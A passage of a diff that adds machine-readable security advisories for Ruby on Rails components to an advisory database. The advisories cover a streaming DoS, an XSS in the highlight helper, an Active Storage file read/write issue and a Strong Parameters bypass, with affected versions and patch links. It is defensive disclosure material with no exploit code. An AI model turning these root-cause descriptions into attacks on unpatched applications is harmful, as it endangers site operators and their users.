.2.2.rc1","5.2.3","5.2.3.rc1","5.2.4","5.2.4.1","5.2.4.2","5.2.4.3","5.2.4.4","5.2.4.5","5.2.4.6","5.2.4.rc1","5.2.5","5.2.6","5.2.6.1","5.2.6.2","5.2.6.3","5.2.7","5.2.7.1","5.2.8","5.2.8.1","6.0.0","6.0.0.beta1","6.0.0.beta2","6.0.0.beta3","6.0.0.rc1","6.0.0.rc2","6.0.1","6.0.1.rc1","6.0.2","6.0.2.1","6.0.2.2","6.0.2.rc1","6.0.2.rc2","6.0.3","6.0.3.1","6.0.3.2","6.0.3.3","6.0.3.4","6.0.3.5","6.0.3.6","6.0.3.7","6.0.3.rc1","6.0.4","6.0.4.1","6.0.4.2","6.0.4.3","6.0.4.4","6.0.4.5","6.0.4.6","6.0.4.7","6.0.4.8","6.0.5","6.0.5.1","6.0.6","6.0.6.1","6.1.0","6.1.0.rc1","6.1.0.rc2","6.1.1","6.1.2","6.1.2.1","6.1.3","6.1.3.1","6.1.3.2","6.1.4","6.1.4.1","6.1.4.2","6.1.4.3","6.1.4.4","6.1.4.5","6.1.4.6","6.1.4.7","6.1.5","6.1.5.1","6.1.6","6.1.6.1","6.1.7","6.1.7.1","6.1.7.10","6.1.7.2","6.1.7.3","6.1.7.4","6.1.7.5","6.1.7.6","6.1.7.7","6.1.7.8","6.1.7.9","7.0.0","7.0.0.alpha1","7.0.0.alpha2","7.0.0.rc1","7.0.0.rc2","7.0.0.rc3","7.0.1","7.0.10","7.0.2","7.0.2.1","7.0.2.2","7.0.2.3","7.0.2.4","7.0.3","7.0.3.1","7.0.4","7.0.4.1","7.0.4.2","7.0.4.3","7.0.5","7.0.5.1","7.0.6","7.0.7","7.0.7.1","7.0.7.2","7.0.8","7.0.8.1","7.0.8.2","7.0.8.3","7.0.8.4","7.0.8.5","7.0.8.6","7.0.8.7","7.0.9","7.1.0","7.1.0.beta1","7.1.0.rc1","7.1.0.rc2","7.1.1","7.1.2","7.1.3","7.1.3.1","7.1.3.2","7.1.3.3","7.1.3.4","7.1.4","7.1.4.1","7.1.4.2","7.1.5","7.1.5.1","7.1.5.2","7.1.6","7.2.0","7.2.0.beta1","7.2.0.beta2","7.2.0.beta3","7.2.0.rc1","7.2.1","7.2.1.1","7.2.1.2","7.2.2","7.2.2.1","7.2.2.2","7.2.3","7.2.3.1","7.2.3.2","7.2.4","8.0.0","8.0.0.1","8.0.0.beta1","8.0.0.rc1","8.0.0.rc2","8.0.1","8.0.2","8.0.2.1","8.0.3","8.0.4","8.0.4.1","8.0.5","8.0.5.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-rq8q-p985-fjq7/GHSA-rq8q-p985-fjq7.json"}}],"references":[{"type":"WEB","url":"https://github.com/rails/rails/security/advisories/GHSA-rq8q-p985-fjq7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-126070"},{"type":"WEB","url":"https://github.com/rails/rails/commit/568b19cb860322885593e308a7f27aceb779e9d7"},{"type":"WEB","url":"https://github.com/rails/rails/commit/c3772a10f405f9644125cbb484adfd2aa7a25a59"},{"type":"PACKAGE","url":"https://github.com/rails/rails"},{"type":"WEB","url":"https://github.com/rails/rails/releases/tag/v8.0.5.2"},{"type":"WEB","url":"https://github.com/rails/rails/releases/tag/v8.1.4.1"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/actionview/GHSA-rq8q-p985-fjq7.yml"}],"database_specific":{"cwe_ids":["CWE-79"],"github_reviewed":true,"github_reviewed_at":"2026-11-12T23:39:41Z","nvd_published_at":"2026-11-10T21:19:25Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"}]} \ No newline at end of file diff --git a/data/RubyGems/GHSA-rwvh-fw6r-pwvp.json b/data/RubyGems/GHSA-rwvh-fw6r-pwvp.json new file mode 100644 index 0000000000..08b0e2d60b --- /dev/null +++ b/data/RubyGems/GHSA-rwvh-fw6r-pwvp.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-rwvh-fw6r-pwvp","published":"2026-11-12T23:45:24Z","modified":"2026-11-13T00:00:05.211681497Z","aliases":["CVE-2026-126072"],"summary":"Action Pack: Possible DoS vulnerability in Action Controller Live streaming","details":"### Impact\n`ActionController::Live::Buffer#close` pushes its end-of-stream marker onto the response's bounded queue while it holds the buffer's monitor. When the client has stopped reading and the queue is full, the push blocks, and `Buffer#abort`, which runs when the client disconnects or a write times out, waits indefinitely for the same monitor. Each such response could permanently hold a web server thread and its `ActionController::Live` thread, possibly resulting in a DoS vulnerability through thread exhaustion.\n\nApplications that stream responses with `ActionController::Live`, including `send_stream`, are affected. Applications that serve large files through Active Storage proxy mode are exposed to unauthenticated clients.\n\n### Releases\nThe fixed releases are available at the normal locations.\n\nPatches for those who cannot upgrade at once:\n- 8.1: https://github.com/rails/rails/commit/ccbfc09690fef05fdd2a9969c917a71b92cc98fc.patch\n- 8.0: https://github.com/rails/rails/commit/27ad18ed5900dee28ba20e9c6fc718ff751fa215.patch\n\n### Credit\nThis issue was found by the Anthropic OSS Scanner (ANT-2026-LDFW5N2T).","affected":[{"package":{"name":"actionpack","ecosystem":"RubyGems","purl":"pkg:gem/actionpack"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.1.0.beta1"},{"fixed":"8.1.4.1"}]}],"versions":["8.1.0","8.1.0.beta1","8.1.0.rc1","8.1.1","8.1.2","8.1.2.1","8.1.3","8.1.3.1","8.1.4"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-rwvh-fw6r-pwvp/GHSA-rwvh-fw6r-pwvp.json"}},{"package":{"name":"actionpack","ecosystem":"RubyGems","purl":"pkg:gem/actionpack"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.0.5.2"}]}],"versions":["0.9.0","0.9.5","1.0.0","1.0.1","1.1.0","1.10.1","1.10.2","1.11.0","1.11.1","1.11.2","1.12.0","1.12.1","1.12.2","1.12.3","1.12.4","1.12.5","1.13.0","1.13.1","1.13.2","1.13.3","1.13.4","1.13.5","1.13.6","1.2.0","1.3.0","1.3.1","1.4.0","1.5.0","1.5.1","1.6.0","1.7.0","1.8.0","1.8.1","1.9.0","1.9.1","2.0.0","2.0.1","2.0.2","2.0.4","2.0.5","2.1.0","2.1.1","2.1.2","2.2.2","2.2.3","2.3.10","2.3.11","2.3.12","2.3.14","2.3.15","2.3.16","2.3.17","2.3.18","2.3.2","2.3.3","2.3.4","2.3.5","2.3.6","2.3.7","2.3.8","2.3.8.pre1","2.3.9","2.3.9.pre","3.0.0","3.0.0.beta","3.0.0.beta2","3.0.0.beta3","3.0.0.beta4","3.0.0.rc","3.0.0.rc2","3.0.1","3.0.10","3.0.10.rc1","3.0.11","3.0.12","3.0.12.rc1","3.0.13","3.0.13.rc1","3.0.14","3.0.15","3.0.16","3.0.17","3.0.18","3.0.19","3.0.2","3.0.20","3.0.3","3.0.4","3.0.4.rc1","3.0.5","3.0.5.rc1","3.0.6","3.0.6.rc1","3.0.6.rc2","3.0.7","3.0.7.rc1","3.0.7.rc2","3.0.8","3.0.8.rc1","3.0.8.rc2","3.0.8.rc4","3.0.9","3.0.9.rc1","3.0.9.rc3","3.0.9.rc4","3.0.9.rc5","3.1.0","3.1.0.beta1","3.1.0.rc1","3.1.0.rc2","3.1.0.rc3","3.1.0.rc4","3.1.0.rc5","3.1.0.rc6","3.1.0.rc8","3.1.1","3.1.1.rc1","3.1.1.rc2","3.1.1.rc3","3.1.10","3.1.11","3.1.12","3.1.2","3.1.2.rc1","3.1.2.rc2","3.1.3","3.1.4","3.1.4.rc1","3.1.5","3.1.5.rc1","3.1.6","3.1.7","3.1.8","3.1.9","3.2.0","3.2.0.rc1","3.2.0.rc2","3.2.1","3.2.10","3.2.11","3.2.12","3.2.13","3.2.13.rc1","3.2.13.rc2","3.2.14","3.2.14.rc1","3.2.14.rc2","3.2.15","3.2.15.rc1","3.2.15.rc2","3.2.15.rc3","3.2.16","3.2.17","3.2.18","3.2.19","3.2.2","3.2.2.rc1","3.2.20","3.2.21","3.2.22","3.2.22.1","3.2.22.2","3.2.22.3","3.2.22.4","3.2.22.5","3.2.3","3.2.3.rc1","3.2.3.rc2","3.2.4","3.2.4.rc1","3.2.5","3.2.6","3.2.7","3.2.7.rc1","3.2.8","3.2.8.rc1","3.2.8.rc2","3.2.9","3.2.9.rc1","3.2.9.rc2","3.2.9.rc3","4.0.0","4.0.0.beta1","4.0.0.rc1","4.0.0.rc2","4.0.1","4.0.1.rc1","4.0.1.rc2","4.0.1.rc3","4.0.1.rc4","4.0.10","4.0.10.rc1","4.0.10.rc2","4.0.11","4.0.11.1","4.0.12","4.0.13","4.0.13.rc1","4.0.2","4.0.3","4.0.4","4.0.4.rc1","4.0.5","4.0.6","4.0.6.rc1","4.0.6.rc2","4.0.6.rc3","4.0.7","4.0.8","4.0.9","4.1.0","4.1.0.beta1","4.1.0.beta2","4.1.0.rc1","4.1.0.rc2","4.1.1","4.1.10","4.1.10.rc1","4.1.10.rc2","4.1.10.rc3","4.1.10.rc4","4.1.11","4.1.12","4.1.12.rc1","4.1.13","4.1.13.rc1","4.1.14","4.1.14.1","4.1.14.2","4.1.14.rc1","4.1.14.rc2","4.1.15","4.1.15.rc1","4.1.16","4.1.16.rc1","4.1.2","4.1.2.rc1","4.1.2.rc2","4.1.2.rc3","4.1.3","4.1.4","4.1.5","4.1.6","4.1.6.rc1","4.1.6.rc2","4.1.7","4.1.7.1","4.1.8","4.1.9","4.1.9.rc1","4.2.0","4.2.0.beta1","4.2.0.beta2","4.2.0.beta3","4.2.0.beta4","4.2.0.rc1","4.2.0.rc2","4.2.0.rc3","4.2.1","4.2.1.rc1","4.2.1.rc2","4.2.1.rc3","4.2.1.rc4","4.2.10","4.2.10.rc1","4.2.11","4.2.11.1","4.2.11.2","4.2.11.3","4.2.2","4.2.3","4.2.3.rc1","4.2.4","4.2.4.rc1","4.2.5","4.2.5.1","4.2.5.2","4.2.5.rc1","4.2.5.rc2","4.2.6","4.2.6.rc1","4.2.7","4.2.7.1","4.2.7.rc1","4.2.8","4.2.8.rc1","4.2.9","4.2.9.rc1","4.2.9.rc2","5.0.0","5.0.0.1","5.0.0.beta1","5.0.0.beta1.1","5.0.0.beta2","5.0.0.beta3","5.0.0.beta4","5.0.0.racecar1","5.0.0.rc1","5.0.0.rc2","5.0.1","5.0.1.rc1","5.0.1.rc2","5.0.2","5.0.2.rc1","5.0.3","5.0.4","5.0.4.rc1","5.0.5","5.0.5.rc1","5.0.5.rc2","5.0.6","5.0.6.rc1","5.0.7","5.0.7.1","5.0.7.2","5.1.0","5.1.0.beta1","5.1.0.rc1","5.1.0.rc2","5.1.1","5.1.2","5.1.2.rc1","5.1.3","5.1.3.rc1","5.1.3.rc2","5.1.3.rc3","5.1.4","5.1.4.rc1","5.1.5","5.1.5.rc1","5.1.6","5.1.6.1","5.1.6.2","5.1.7","5.1.7.rc1","5.2.0","5.2.0.beta1","5.2.0.beta2","5.2.0.rc1","5.2.0.rc2","5.2.1","5.2.1.1","5.2.1.rc1","5.2.2","5.2.2.1","5.2.2.rc1","5.2.3","5.2.3.rc1","5.2.4","5.2.4.1","5.2.4.2","5.2.4.3","5.2.4.4","5.2.4.5","5.2.4.6","5.2.4.rc1","5.2.5","5.2.6","5.2.6.1","5.2.6.2","5.2.6.3","5.2.7","5.2.7.1","5.2.8","5.2.8.1","6.0.0","6.0.0.beta1","6.0.0.beta2","6.0.0.beta3","6.0.0.rc1","6.0.0.rc2","6.0.1","6.0.1.rc1","6.0.2","6.0.2.1","6.0.2.2","6.0.2.rc1","6.0.2.rc2","6.0.3","6.0.3.1","6.0.3.2","6.0.3.3","6.0.3.4","6.0.3.5","6.0.3.6","6.0.3.7","6.0.3.rc1","6.0.4","6.0.4.1","6.0.4.2","6.0.4.3","6.0.4.4","6.0.4.5","6.0.4.6","6.0.4.7","6.0.4.8","6.0.5","6.0.5.1","6.0.6","6.0.6.1","6.1.0","6.1.0.rc1","6.1.0.rc2","6.1.1","6.1.2","6.1.2.1","6.1.3","6.1.3.1","6.1.3.2","6.1.4","6.1.4.1","6.1.4.2","6.1.4.3","6.1.4.4","6.1.4.5","6.1.4.6","6.1.4.7","6.1.5","6.1.5.1","6.1.6","6.1.6.1","6.1.7","6.1.7.1","6.1.7.10","6.1.7.2","6.1.7.3","6.1.7.4","6.1.7.5","6.1.7.6","6.1.7.7","6.1.7.8","6.1.7.9","7.0.0","7.0.0.alpha1","7.0.0.alpha2","7.0.0.rc1","7.0.0.rc2","7.0.0.rc3","7.0.1","7.0.10","7.0.2","7.0.2.1","7.0.2.2","7.0.2.3","7.0.2.4","7.0.3","7.0.3.1","7.0.4","7.0.4.1","7.0.4.2","7.0.4.3","7.0.5","7.0.5.1","7.0.6","7.0.7","7.0.7.1","7.0.7.2","7.0.8","7.0.8.1","7.0.8.2","7.0.8.3","7.0.8.4","7.0.8.5","7.0.8.6","7.0.8.7","7.1.0","7.1.0.beta1","7.1.0.rc1","7.1.0.rc2","7.1.1","7.1.2","7.1.3","7.1.3.1","7.1.3.2","7.1.3.3","7.1.3.4","7.1.4","7.1.4.1","7.1.4.2","7.1.5","7.1.5.1","7.1.5.2","7.1.6","7.2.0","7.2.0.beta1","7.2.0.beta2","7.2.0.beta3","7.2.0.rc1","7.2.1","7.2.1.1","7.2.1.2","7.2.2","7.2.2.1","7.2.2.2","7.2.3","7.2.3.1","7.2.3.2","7.2.4","8.0.0","8.0.0.1","8.0.0.beta1","8.0.0.rc1","8.0.0.rc2","8.0.1","8.0.2","8.0.2.1","8.0.3","8.0.4","8.0.4.1","8.0.5","8.0.5.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-rwvh-fw6r-pwvp/GHSA-rwvh-fw6r-pwvp.json"}}],"references":[{"type":"WEB","url":"https://github.com/rails/rails/security/advisories/GHSA-rwvh-fw6r-pwvp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-126072"},{"type":"WEB","url":"https://github.com/rails/rails/commit/27ad18ed5900dee28ba20e9c6fc718ff751fa215"},{"type":"WEB","url":"https://github.com/rails/rails/commit/ccbfc09690fef05fdd2a9969c917a71b92cc98fc"},{"type":"PACKAGE","url":"https://github.com/rails/rails"},{"type":"WEB","url":"https://github.com/rails/rails/releases/tag/v8.0.5.2"},{"type":"WEB","url":"https://github.com/rails/rails/releases/tag/v8.1.4.1"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/actionpack/GHSA-rwvh-fw6r-pwvp.yml"}],"database_specific":{"cwe_ids":["CWE-833"],"github_reviewed":true,"github_reviewed_at":"2026-11-12T23:45:24Z","nvd_published_at":"2026-11-10T21:19:25Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H"}]} \ No newline at end of file diff --git a/data/RubyGems/GHSA-v6rj-xm57-3p59.json b/data/RubyGems/GHSA-v6rj-xm57-3p59.json new file mode 100644 index 0000000000..e00132070f --- /dev/null +++ b/data/RubyGems/GHSA-v6rj-xm57-3p59.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-v6rj-xm57-3p59","published":"2026-11-12T23:41:50Z","modified":"2026-11-12T23:45:03.296036447Z","aliases":["CVE-2026-126078"],"summary":"Action View: Possible XSS vulnerability in highlight helper","details":"### Impact\n`ActionView::Helpers::TextHelper#highlight` substitutes each matched phrase into the `:highlighter` string without escaping it and returns the result marked HTML-safe. Because sanitizing leaves quote characters in text unescaped, a match substituted into a quoted attribute value of the highlighter, such as the `` form shown in the method's documentation, could end the attribute value and add attributes to the element, possibly leading to XSS. Applications are affected when they pass a `:highlighter` that places a placeholder inside an attribute value and highlight text or phrases that a user controls. The default `\\1` highlighter and the block form are not affected.\n\n### Details\nThe fixed releases HTML-escape each group substituted into the `:highlighter` string, so quotes in a match are rendered as `"` and `'`. Only the numbered placeholders `\\0` to `\\9` are expanded; other `String#sub` replacement escapes, such as `\\k`, `\\&` and `\\\\`, are left as written. A match can no longer begin on the `>` that closes a preceding tag. Escaping makes a placeholder safe as element content or inside a quoted attribute value, but not in an unquoted attribute value, a URL, JavaScript or CSS context, or an attribute whose value is HTML. See the Action View CHANGELOG for details.\n\n### Workarounds\nUse a `:highlighter` that places the matched phrase only in element content, such as the default `\\1`.\n\n### Releases\nThe fixed releases are available at the normal locations.\n\nPatches for those who cannot upgrade at once:\n- 8.1: https://github.com/rails/rails/commit/06938194b4fd59e1d2c8ab4a781f3c1e2b763425.patch\n- 8.0: https://github.com/rails/rails/commit/c796f6198837479ada13290eb8fa767b5219a58a.patch\n\n### Credit\nThis issue was found by the Anthropic OSS Scanner (ANT-2026-THHUJQVO).","affected":[{"package":{"name":"actionview","ecosystem":"RubyGems","purl":"pkg:gem/actionview"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.1.0.beta1"},{"fixed":"8.1.4.1"}]}],"versions":["8.1.0","8.1.0.beta1","8.1.0.rc1","8.1.1","8.1.2","8.1.2.1","8.1.3","8.1.3.1","8.1.4"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-v6rj-xm57-3p59/GHSA-v6rj-xm57-3p59.json"}},{"package":{"name":"actionview","ecosystem":"RubyGems","purl":"pkg:gem/actionview"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.0.5.2"}]}],"versions":["4.1.0","4.1.0.beta1","4.1.0.beta2","4.1.0.rc1","4.1.0.rc2","4.1.1","4.1.10","4.1.10.rc1","4.1.10.rc2","4.1.10.rc3","4.1.10.rc4","4.1.11","4.1.12","4.1.12.rc1","4.1.13","4.1.13.rc1","4.1.14","4.1.14.1","4.1.14.2","4.1.14.rc1","4.1.14.rc2","4.1.15","4.1.15.rc1","4.1.16","4.1.16.rc1","4.1.2","4.1.2.rc1","4.1.2.rc2","4.1.2.rc3","4.1.3","4.1.4","4.1.5","4.1.6","4.1.6.rc1","4.1.6.rc2","4.1.7","4.1.7.1","4.1.8","4.1.9","4.1.9.rc1","4.2.0","4.2.0.beta1","4.2.0.beta2","4.2.0.beta3","4.2.0.beta4","4.2.0.rc1","4.2.0.rc2","4.2.0.rc3","4.2.1","4.2.1.rc1","4.2.1.rc2","4.2.1.rc3","4.2.1.rc4","4.2.10","4.2.10.rc1","4.2.11","4.2.11.1","4.2.11.2","4.2.11.3","4.2.2","4.2.3","4.2.3.rc1","4.2.4","4.2.4.rc1","4.2.5","4.2.5.1","4.2.5.2","4.2.5.rc1","4.2.5.rc2","4.2.6","4.2.6.rc1","4.2.7","4.2.7.1","4.2.7.rc1","4.2.8","4.2.8.rc1","4.2.9","4.2.9.rc1","4.2.9.rc2","5.0.0","5.0.0.1","5.0.0.beta1","5.0.0.beta1.1","5.0.0.beta2","5.0.0.beta3","5.0.0.beta4","5.0.0.racecar1","5.0.0.rc1","5.0.0.rc2","5.0.1","5.0.1.rc1","5.0.1.rc2","5.0.2","5.0.2.rc1","5.0.3","5.0.4","5.0.4.rc1","5.0.5","5.0.5.rc1","5.0.5.rc2","5.0.6","5.0.6.rc1","5.0.7","5.0.7.1","5.0.7.2","5.1.0","5.1.0.beta1","5.1.0.rc1","5.1.0.rc2","5.1.1","5.1.2","5.1.2.rc1","5.1.3","5.1.3.rc1","5.1.3.rc2","5.1.3.rc3","5.1.4","5.1.4.rc1","5.1.5","5.1.5.rc1","5.1.6","5.1.6.1","5.1.6.2","5.1.7","5.1.7.rc1","5.2.0","5.2.0.beta1","5.2.0.beta2","5.2.0.rc1","5.2.0.rc2","5.2.1","5.2.1.1","5.2.1.rc1","5.2.2","5.2.2.1","5.2.2.rc1","5.2.3","5.2.3.rc1","5.2.4","5.2.4.1","5.2.4.2","5.2.4.3","5.2.4.4","5.2.4.5","5.2.4.6","5.2.4.rc1","5.2.5","5.2.6","5.2.6.1","5.2.6.2","5.2.6.3","5.2.7","5.2.7.1","5.2.8","5.2.8.1","6.0.0","6.0.0.beta1","6.0.0.beta2","6.0.0.beta3","6.0.0.rc1","6.0.0.rc2","6.0.1","6.0.1.rc1","6.0.2","6.0.2.1","6.0.2.2","6.0.2.rc1","6.0.2.rc2","6.0.3","6.0.3.1","6.0.3.2","6.0.3.3","6.0.3.4","6.0.3.5","6.0.3.6","6.0.3.7","6.0.3.rc1","6.0.4","6.0.4.1","6.0.4.2","6.0.4.3","6.0.4.4","6.0.4.5","6.0.4.6","6.0.4.7","6.0.4.8","6.0.5","6.0.5.1","6.0.6","6.0.6.1","6.1.0","6.1.0.rc1","6.1.0.rc2","6.1.1","6.1.2","6.1.2.1","6.1.3","6.1.3.1","6.1.3.2","6.1.4","6.1.4.1","6.1.4.2","6.1.4.3","6.1.4.4","6.1.4.5","6.1.4.6","6.1.4.7","6.1.5","6.1.5.1","6.1.6","6.1.6.1","6.1.7","6.1.7.1","6.1.7.10","6.1.7.2","6.1.7.3","6.1.7.4","6.1.7.5","6.1.7.6","6.1.7.7","6.1.7.8","6.1.7.9","7.0.0","7.0.0.alpha1","7.0.0.alpha2","7.0.0.rc1","7.0.0.rc2","7.0.0.rc3","7.0.1","7.0.10","7.0.2","7.0.2.1","7.0.2.2","7.0.2.3","7.0.2.4","7.0.3","7.0.3.1","7.0.4","7.0.4.1","7.0.4.2","7.0.4.3","7.0.5","7.0.5.1","7.0.6","7.0.7","7.0.7.1","7.0.7.2","7.0.8","7.0.8.1","7.0.8.2","7.0.8.3","7.0.8.4","7.0.8.5","7.0.8.6","7.0.8.7","7.0.9","7.1.0","7.1.0.beta1","7.1.0.rc1","7.1.0.rc2","7.1.1","7.1.2","7.1.3","7.1.3.1","7.1.3.2","7.1.3.3","7.1.3.4","7.1.4","7.1.4.1","7.1.4.2","7.1.5","7.1.5.1","7.1.5.2","7.1.6","7.2.0","7.2.0.beta1","7.2.0.beta2","7.2.0.beta3","7.2.0.rc1","7.2.1","7.2.1.1","7.2.1.2","7.2.2","7.2.2.1","7.2.2.2","7.2.3","7.2.3.1","7.2.3.2","7.2.4","8.0.0","8.0.0.1","8.0.0.beta1","8.0.0.rc1","8.0.0.rc2","8.0.1","8.0.2","8.0.2.1","8.0.3","8.0.4","8.0.4.1","8.0.5","8.0.5.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-v6rj-xm57-3p59/GHSA-v6rj-xm57-3p59.json"}}],"references":[{"type":"WEB","url":"https://github.com/rails/rails/security/advisories/GHSA-v6rj-xm57-3p59"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-126078"},{"type":"WEB","url":"https://github.com/rails/rails/commit/06938194b4fd59e1d2c8ab4a781f3c1e2b763425"},{"type":"WEB","url":"https://github.com/rails/rails/commit/c796f6198837479ada13290eb8fa767b5219a58a"},{"type":"PACKAGE","url":"https://github.com/rails/rails"},{"type":"WEB","url":"https://github.com/rails/rails/releases/tag/v8.0.5.2"},{"type":"WEB","url":"https://github.com/rails/rails/releases/tag/v8.1.4.1"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/actionview/GHSA-v6rj-xm57-3p59.yml"}],"database_specific":{"cwe_ids":["CWE-79"],"github_reviewed":true,"github_reviewed_at":"2026-11-12T23:41:50Z","nvd_published_at":"2026-11-10T21:19:26Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"}]} \ No newline at end of file diff --git a/data/RubyGems/GHSA-wgv4-95jc-33jm.json b/data/RubyGems/GHSA-wgv4-95jc-33jm.json new file mode 100644 index 0000000000..b72ad561c9 --- /dev/null +++ b/data/RubyGems/GHSA-wgv4-95jc-33jm.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-wgv4-95jc-33jm","published":"2026-11-04T15:32:31Z","modified":"2026-11-13T00:00:05.213569079Z","withdrawn":"2026-11-12T23:46:24Z","summary":"Duplicate Advisory: Active Storage: Possible arbitrary file write and read in Active Storage image analysis","details":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-f3w6-w445-fwh9. This link is maintained to preserve external references.\n\n## Original Description\nThe activestorage gem before 8.1.4.1 for Ruby on Rails, when ImageMagick attachment processing occurs, can allow server read and write operations (e.g., reading secret_key_base) because the ImageMagick analyzer runs when a file is attached, and there is not an ImageMagick security policy to block unintended functionality.","affected":[{"package":{"name":"activestorage","ecosystem":"RubyGems","purl":"pkg:gem/activestorage"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.1","5.2.0","5.2.0.beta1","5.2.0.beta2","5.2.0.rc1","5.2.0.rc2","5.2.1","5.2.1.1","5.2.1.rc1","5.2.2","5.2.2.1","5.2.2.rc1","5.2.3","5.2.3.rc1","5.2.4","5.2.4.1","5.2.4.2","5.2.4.3","5.2.4.4","5.2.4.5","5.2.4.6","5.2.4.rc1","5.2.5","5.2.6","5.2.6.1","5.2.6.2","5.2.6.3","5.2.7","5.2.7.1","5.2.8","5.2.8.1","6.0.0","6.0.0.beta1","6.0.0.beta2","6.0.0.beta3","6.0.0.rc1","6.0.0.rc2","6.0.1","6.0.1.rc1","6.0.2","6.0.2.1","6.0.2.2","6.0.2.rc1","6.0.2.rc2","6.0.3","6.0.3.1","6.0.3.2","6.0.3.3","6.0.3.4","6.0.3.5","6.0.3.6","6.0.3.7","6.0.3.rc1","6.0.4","6.0.4.1","6.0.4.2","6.0.4.3","6.0.4.4","6.0.4.5","6.0.4.6","6.0.4.7","6.0.4.8","6.0.5","6.0.5.1","6.0.6","6.0.6.1","6.1.0","6.1.0.rc1","6.1.0.rc2","6.1.1","6.1.2","6.1.2.1","6.1.3","6.1.3.1","6.1.3.2","6.1.4","6.1.4.1","6.1.4.2","6.1.4.3","6.1.4.4","6.1.4.5","6.1.4.6","6.1.4.7","6.1.5","6.1.5.1","6.1.6","6.1.6.1","6.1.7","6.1.7.1","6.1.7.10","6.1.7.2","6.1.7.3","6.1.7.4","6.1.7.5","6.1.7.6","6.1.7.7","6.1.7.8","6.1.7.9","7.0.0","7.0.0.alpha1","7.0.0.alpha2","7.0.0.rc1","7.0.0.rc2","7.0.0.rc3","7.0.1","7.0.10","7.0.2","7.0.2.1","7.0.2.2","7.0.2.3","7.0.2.4","7.0.3","7.0.3.1","7.0.4","7.0.4.1","7.0.4.2","7.0.4.3","7.0.5","7.0.5.1","7.0.6","7.0.7","7.0.7.1","7.0.7.2","7.0.8","7.0.8.1","7.0.8.2","7.0.8.3","7.0.8.4","7.0.8.5","7.0.8.6","7.0.8.7","7.1.0","7.1.0.beta1","7.1.0.rc1","7.1.0.rc2","7.1.1","7.1.2","7.1.3","7.1.3.1","7.1.3.2","7.1.3.3","7.1.3.4","7.1.4","7.1.4.1","7.1.4.2","7.1.5","7.1.5.1","7.1.5.2","7.1.6","7.2.0","7.2.0.beta1","7.2.0.beta2","7.2.0.beta3","7.2.0.rc1","7.2.1","7.2.1.1","7.2.1.2","7.2.2","7.2.2.1","7.2.2.2","7.2.3","7.2.3.1","7.2.3.2","7.2.4","8.0.0","8.0.0.1","8.0.0.beta1","8.0.0.rc1","8.0.0.rc2","8.0.1","8.0.2","8.0.2.1","8.0.3","8.0.4","8.0.4.1","8.0.5","8.0.5.1","8.0.5.2","8.1.0","8.1.0.beta1","8.1.0.rc1","8.1.1","8.1.2","8.1.2.1","8.1.3","8.1.3.1","8.1.4","8.1.4.1"],"database_specific":{"last_known_affected_version_range":"< 8.0.5.2","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wgv4-95jc-33jm/GHSA-wgv4-95jc-33jm.json"}}],"references":[{"type":"WEB","url":"https://github.com/rails/rails/security/advisories/GHSA-f3w6-w445-fwh9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-122006"},{"type":"WEB","url":"https://github.com/digitalocean/droplet-1-clicks/pull/488"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/pull/1300"},{"type":"WEB","url":"https://github.com/alan-turing-institute/cyber-threat-observatory/blob/main/reports/2026-11-04/TIER_2_CVE-2026-122006.md"},{"type":"WEB","url":"https://github.com/rails/rails/releases/tag/v8.0.5.2"},{"type":"WEB","url":"https://github.com/rails/rails/releases/tag/v8.1.4.1"}],"database_specific":{"cwe_ids":["CWE-1188"],"github_reviewed":true,"github_reviewed_at":"2026-11-12T23:46:24Z","nvd_published_at":"2026-11-04T15:17:42Z","severity":"CRITICAL"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]} \ No newline at end of file diff --git a/data/RubyGems/GHSA-wm3x-v3qw-4jh3.json b/data/RubyGems/GHSA-wm3x-v3qw-4jh3.json new file mode 100644 index 0000000000..56aa2bba3d --- /dev/null +++ b/data/RubyGems/GHSA-wm3x-v3qw-4jh3.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-wm3x-v3qw-4jh3","published":"2026-11-12T23:37:09Z","modified":"2026-11-12T23:45:03.300210592Z","aliases":["CVE-2026-126081"],"summary":"Action Pack: Possible Strong Parameters Bypass in Parameters#each_key","details":"### Impact\n`ActionController::Parameters#each_key` delegates to the internal 